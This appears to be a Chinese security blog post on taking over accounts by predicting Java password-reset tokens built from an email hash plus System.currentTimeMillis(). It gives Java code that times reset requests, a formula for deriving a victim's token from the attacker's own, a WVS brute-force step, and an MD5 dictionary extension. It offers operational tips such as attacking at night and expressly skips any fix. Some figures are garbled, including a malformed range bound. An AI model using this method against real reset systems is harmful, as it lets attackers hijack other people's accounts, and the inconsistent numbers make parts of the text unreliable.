利用系统时间可预测破解java随机数

利用系统时间可预测破解java随机数

正文：

“System.currentTimeMillis”这个方法，返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果，可能是类似“1315395175327”这样的数字，因为后面的几位，是毫秒，所以执行结果就好像“随机”一样。
今天遇到的一个系统，相关业务逻辑场景，是用于找回密码。首先要求用户输入自己的邮箱，系统算出来一个token，发给用户邮箱，让用户使用token，执行修改密码的这一步。
1、输入邮箱。
2、发送邮件给用户邮箱。
3、根据邮箱中的链接，修改密码
就是说，只要能破解了服务器给用户生成的token，就可以直接修改用户密码。
在生成token时，采用了这样一段代码：

public String genToken(String email) {
String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
return token;
}

从代码上可以看到，Email的hashcode，在用户的email固定的情况下，是不变的，那么这个不变的数字，即使乘以21，依然是不变的。只要知道了用户的email，就可以知道这个数字。
真正随机的只有System.currentTimeMillis()
这个方法貌似随机，条件允许的情况下，其实是可以破解的。

利用系统时间可预测破解java随机数：

根据以上流程，只要攻击者提交

http://www.inbreak.net/user/[email protected]

就可以给攻击者的邮箱，发一封EMAIL。
================
你好，空虚浪子心:
请点击链接重置密码。该链接24小时内有效。
或将以下链接拷贝到浏览器地址栏中:

http://www.inbreak.net/user/resetpassword.action?token=1315336352414

该邮件由系统自动发送，请勿直接回复此邮件。
==============
随后的那个token，就是随机生成的数字。同理，输入另一个用户（被攻击者）的邮箱，也可以发送一封email。如果服务器上的时间，和攻击者机器上执行的时间一致，在不考虑网络传输成本的前提下，是可以直接得到token的。
当然，这不可能。
但是好在我们的时间速度，和服务器的时间速度，基本一致。注意，这里讲的不是时间一致，是时间的速度一致，可能本地的时间是10点，服务器是11点，那么当本地的时间为11点时，服务器必然已经12点了。
我们的时间，和服务器时间，总是会相差一个数字。
网络速度，每次传输都不一致，第一次发出请求，可能用1.020秒，第二次，用0.921秒。
没关系，我们尽量让它变得可预测些。
在本地，写这样一段代码：
=================

    public static void main(String[] args) throws IOException {
       System.out.println(i + 1);
       i++;
       System.out.println("------mystart");
       System.out.println("[email protected] ".hashCode() * 21
              + System.currentTimeMillis());
       sendPost("http://www.inbreak.net/user/[email protected]");
       System.out.println("[email protected]".hashCode() * 21
              + System.currentTimeMillis());
       System.out.println("------myend");
       System.out.println("------user start");
       Long x = "[email protected]".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(x);
      sendPost("http://www.inbreak.net/user/[email protected]");
       Long y = "[email protected] ".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(y);
       System.out.println(y - x);
       System.out.println("------user end");
    }

=================

代码流程，使用文字描述：

1、 打印攻击者的开始时间。

2、 发邮件给攻击者。

3、 打印攻击者的结束时间。

4、 打印要破解的用户开始时间

5、 发邮件给要破解的用户。

6、 打印要破解的用户结束时间

7、 打印请求服务器给用户发邮件的用时

程序执行的结果如下：
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 = 网络延迟。
------user end

======================
于此同时，收到了一封邮件，token为“1315395156493”。
然后根据以下的计算公式：
攻击者的结束时间（已知） - 服务器给攻击者发邮件的时间（已知） = 时间差（可以算出来）
用户结束时间（已知） - 服务器发给用户邮件时间(就是未知数x) = 时间差（前面算出来的）
可以算出给用户发邮件的时间，这个时间是模糊的，还需要加减当时的网络延迟（刚才程序打印出来了），才能得到一个最终区间。
再写段代码：
=============================

Long myendtime =  Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间
Long userendtime =   Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间
Long myservertime =  Long.valueOf("1315395156493"); //服务器给我发邮件的时间
Long userservertime = userendtime - (myendtime-myservertime);
System.out.println(userservertime);

===================================
这段代码打印出了结果：

这是我们预测的，服务器给用户的发邮件时间范围基数。
最终数字，应该是这个值加减37（当时的网络延迟），也就是1316945838324到131694583832474的范围内。
下面交给WVS处理

很快的，得出结果，第一列的response内容大小，和其他的不同，大家都是1153B，只有这一条是2685B，说明内容不一样，这就是答案了。

得到答案，我们访问页面看看。

图中可以看到，攻击者可以已经破解了token，可以直接修改密码。
在做网络攻击时，当然情况可能不一致，网络延迟如果很久，可以换网速好，延迟少的机器。最好在半夜三更的时候进行，成功几率大很多。

进阶攻击：

当然，会有开发自作聪明，给最终数字，也就是token，加上MD5。这的确可以增加攻击成本，但是实质上还是自欺欺人。对于攻击者，只需要在固定的时间范围，就可以放一个字典。

1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d

一一对应，在最终做算术题中，多几次查询即可。
我们可以就拿以上示例，给大家进阶一下。
代码为

    public String genToken(String email) {
        String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
        return md5(token);
    }

和前文代码基本一致，只是返回时，最终调用了md5。
假设还是上次的结果，服务器会返回：

Token=8b4a258acdff3bf44ed88d174ed0be20

这个token其实就是时间的加密，他的解密肯定在一定的时间段范围内。我们首先要找到特征。
执行一下当前时间，先看看我的时间，1315395175437，这是一个long类型。
通过

System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437)));

得出结果：

2011-08-29 20:39

经过不断的修改数字，可以看出
13153951，也就是前8位，代表几月几号几点。
75437，也就是后面5位，代表几分几秒。
服务器时间就算再傻，也不能把今天，算成明天，最多和我们本地，相差个多少分钟。
所以我们做字典，在数据库录入：

以“13153951”为固定前缀+5位数字 (00001到99999)

之后在这个表，增加一个字段，是前面那个字段的MD5值，当然，如果不放心，可以再往前加几位，就是固定前缀“1315395”+ 6位数字，以此类推，数据库不会很大。
这个字典，有什么用呢？
前文说到服务器会给我发邮件，告诉我Token=8b4a258acdff3bf44ed88d174ed0be20，这个md5对应的数字，必然会在这个字典里，所以可以直接从字典中查出来这个md5。
其后的流程，就和前文破解一致。
再次贴一遍结果：
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时，也就是网络延迟。
------user end

======================
之后按照公式，当然会算出1316945838361，是我预测的，服务器给用户的发邮件时间范围基数。
最终数字，应该是这个值加减37（当时的网络延迟），也就是1316945838324到131694583832474的范围内。
将以上范围所有数字，md5加密一下，做成字典，放在wvs中跑一遍，一定也能得出结果。
以上纯属推测，并没有示例测试，但是思路是正确的。

再次进阶

从上面的内容中，大家知道并不是看到token，就想当然的以为没办法，我们从黑盒测试的角度，甚至可以做这样一件自动化的事情，以便直接快速的破解。
当我们看到有存在md5的token后，直接执行以下几步。
写小程序，将以下流程尽量自动化：
1、获取当前时间，其中可以加入用户名前缀的hash，也可以加入email等hash，总之，token的内容，是和用户相关，并且是固定的，联想到我们注册时，也就填写了用户名、email，肯定是相关的。用户名或email+随机数，排列组合一下，分别走一遍前三步。
2、时间范围定在1小时内（前面几位数字固定前缀即可），生成md5字典。
3、获取自己账号的token，然后在字典中，得出结果。
4、如果第三步成功，基本就可以确定漏洞存在。后面利用公式，计算出服务器给用户token的时间基数，正负时间差，做成md5字典。
5、WVS跑一遍字典，查看服务器返回数据大小，从而得出用户的token。
如果我们已经有生成token的代码，就像文章中的示例，就可以省略猜测算法的步骤了。在生成token的时候，肯定有不少人犯了这样的错误，本文主要谈攻击思路，至于修补方案就不管了，大家懂得。

建议继续学习：